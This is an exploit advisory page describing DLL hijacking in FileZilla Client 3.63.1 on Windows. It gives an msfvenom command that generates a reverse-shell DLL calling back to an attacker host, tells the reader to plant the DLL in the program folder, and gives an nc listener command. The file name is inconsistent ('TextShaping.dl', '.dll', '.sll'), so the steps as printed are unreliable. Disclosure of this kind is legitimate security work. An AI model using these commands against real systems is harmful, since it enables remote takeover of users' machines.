FileZilla Client 3.63.1 TextShaping.dl DLL Hijacking

2023.04.06

Credit: Bilal Qureshi

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

#---------------------------------------------------------
# Title: FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking
# Date: 2023-02-14
# Author: Bilal Qureshi
# Vendor: https://filezilla-project.org/
# Version: 3.63.1
# Tested on: Windows 10 Pro 64-bit (10.0, Build 19044)
#---------------------------------------------------------


Description:
FileZilla is a free and open-source, cross-platform FTP application, consisting of FileZilla Client and FileZilla Server. Clients are available for Windows, Linux, and macOS. Both server and client support FTP and FTPS, while the client can in addition connect to SFTP servers.


DLL Library named TextShaping.dll is not present at the FileZilla folder, this file can be loaded with the app.
Make malicious .dll file via msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o TextShaping.sll

place at the destination folder

start listener via nc

nc -lvp 7777

C:\PRogram Files\FileZilla FTP Client>
C:\PRogram Files\FileZilla FTP Client>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

FileZilla Client 3.63.1 TextShaping.dl DLL Hijacking

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.